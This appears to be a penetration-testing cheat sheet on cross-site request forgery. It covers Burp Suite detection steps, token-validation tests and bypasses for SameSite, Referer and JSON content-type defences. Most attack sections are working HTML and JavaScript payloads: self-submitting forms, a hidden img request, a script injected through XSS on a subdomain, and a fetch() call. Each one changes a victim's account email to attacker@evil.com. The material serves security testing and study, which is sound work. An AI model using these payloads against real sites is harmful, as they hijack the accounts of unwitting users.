Web

Cross-Site Request Forgery (CSRF)

CSRF detection and exploitation: token validation bypass, SameSite cookie restriction bypass, Referer-based defence bypass, JSON CSRF, multi-step CSRF, and PoC generation in Burp Suite. Every payload separated.

What is CSRF

CSRF tricks a victim’s authenticated browser into sending a state-changing request to a target site. The attacker’s page (or a malicious link) issues the request — the browser automatically includes the victim’s session cookies.

Three conditions must hold:

  1. A relevant action — something worth forging (password change, email change, fund transfer).
  2. Cookie-only session handling — no unpredictable token in the request.
  3. No unguessable parameters — the attacker can craft the full request.

Detection

Step 1 — Find state-changing requests with Burp Proxy

Browse every authenticated function (change email, change password, update profile, add item). In Proxy → HTTP history look for POST/PUT requests that:

  • Have no X-CSRF-Token / csrf parameter, or
  • Use a CSRF token that is predictable / tied to the session ID.

Step 2 — Test token validation

Send the request to Repeater. Try each of these in order:

TestWhat to changeVulnerable if…
Remove tokenDelete the csrf= parameter entirelyRequest still succeeds
Blank tokenSet csrf= (empty value)Request still succeeds
Wrong tokenSet csrf=wrong123Request still succeeds
Another user’s tokenLog in as user B, copy their token, use in user A’s requestRequest still succeeds
Change POST → GETRight-click → Change request methodRequest still succeeds

Step 3 — Generate PoC in Burp

With the target request in Repeater or Proxy history:

Right-click → Engagement tools → Generate CSRF PoC

Burp outputs a self-submitting HTML form. Enable auto-submit in the options and paste it into a page you control.


Basic CSRF PoC (HTML form)

<html>
  <body>
    <form action="https://TARGET/email/change" method="POST">
      <input type="hidden" name="email" value="attacker@evil.com" />
      <input type="submit" value="Click me" />
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>

GET-based CSRF (via img tag, no user interaction):

<img src="https://TARGET/action?param=evil" width="0" height="0" />

Bypass: token not tied to session

If the app issues tokens in a cookie and validates the cookie against the form value (double-submit pattern), you only need to control one cookie. Use a CRLF injection or subdomain XSS to plant a known token in the cookie, then submit a form with that same value.

<form action="https://TARGET/email/change" method="POST">
  <input type="hidden" name="csrf" value="KNOWN_TOKEN" />
  <input type="hidden" name="email" value="attacker@evil.com" />
</form>

Bypass: SameSite=Lax

Lax only sends cookies on top-level GET navigations. A POST form is blocked. Bypass techniques:

GET method override

If the endpoint accepts GET (test in Repeater):

<script>
  document.location = 'https://TARGET/email/change?email=attacker@evil.com&_method=POST';
</script>

120-second window (Chrome quirk)

Cookies set without a SameSite attribute temporarily default to Lax but are sent on cross-site POST within the first 120 seconds of the session. If you can trigger the victim to visit your page immediately after login (OAuth callback, magic link), a plain POST form may work.

Chain with open redirect on the target site

If the target has an open redirect, use it to make the final hop same-site:

<script>
  document.location = 'https://TARGET/redirect?url=https://TARGET/email/change?email=attacker@evil.com';
</script>

Bypass: SameSite=Strict via sibling subdomain

If a sibling subdomain (blog.TARGET.com) is compromised or has XSS, requests from it are considered same-site:

<!-- On blog.TARGET.com via stored XSS -->
<script>
  var f = document.createElement('form');
  f.action = 'https://TARGET.com/email/change';
  f.method = 'POST';
  var i = document.createElement('input');
  i.name = 'email'; i.value = 'attacker@evil.com';
  f.appendChild(i); document.body.appendChild(f); f.submit();
</script>

Bypass: Referer validation

Remove the Referer header entirely

Add a <meta> tag to suppress it:

<meta name="referrer" content="no-referrer">
<form action="https://TARGET/email/change" method="POST">
  <input type="hidden" name="email" value="attacker@evil.com" />
</form>
<script>document.forms[0].submit();</script>

Make the target domain appear in the Referer

Host your PoC at a URL containing the target domain:

https://TARGET.attacker.com/csrf.html

The Referer will be https://TARGET.attacker.com/... which passes a naive strpos($referer, 'TARGET') check.


JSON CSRF

When the endpoint requires Content-Type: application/json:

<html>
  <body>
    <form action="https://TARGET/api/email/change" method="POST"
          enctype="text/plain">
      <!-- text/plain sends: {"email":"attacker@evil.com","x":" -->
      <input type="hidden" name='{"email":"attacker@evil.com","x"' value='"ignore":""}' />
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>

If the server only checks that the content-type string contains json (case-insensitive), text/plain often passes.


CSRF + stored XSS chain

If you have stored XSS on the same origin, you don’t need CSRF at all — the XSS payload can make authenticated API calls directly:

fetch('/email/change', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'email=attacker@evil.com',
  credentials: 'include'
});

Burp Suite workflow

  1. Proxy — intercept the target state-changing request.
  2. Repeater — test all token bypass variants above.
  3. CSRF PoC generator — right-click → Engagement tools → Generate CSRF PoC, enable auto-submit.
  4. Burp Collaborator (for blind confirmation) — embed a Collaborator URL in the PoC payload to confirm execution server-side.